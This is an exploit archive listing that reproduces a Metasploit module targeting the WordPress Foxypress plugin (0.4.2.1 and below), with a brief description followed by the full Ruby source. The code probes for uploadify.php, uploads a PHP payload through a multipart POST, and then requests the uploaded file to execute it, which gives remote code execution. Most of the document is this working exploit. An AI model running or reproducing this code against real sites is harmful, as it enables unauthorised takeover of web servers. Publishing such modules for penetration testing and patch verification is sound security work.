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WordPress plugin Foxypress uploadify.php Arbitrary Code Execution

WordPress plugin Foxypress uploadify.php Arbitrary Code Execution
Posted Jun 12, 2012
Authored by patrick, Sammy FORGIT | Site metasploit.com

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress plug-in versions 0.4.2.1 and below are vulnerable.

tags | exploit, remote, arbitrary, php, code execution, file upload
advisories | OSVDB-82652
MD5 | 8c50f2bfa40aad8ebf46982e05fc4018

WordPress plugin Foxypress uploadify.php Arbitrary Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plug-in versions 0.4.2.1 and below are vulnerable.
},
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['EDB', '18991'],
['OSVDB', '82652'],
['BID', '53805'],
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit

uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

print_status("#{peer} - Sending PHP payload")

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => post_data.to_s
})

if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end

print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php"
})

if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end

end

end

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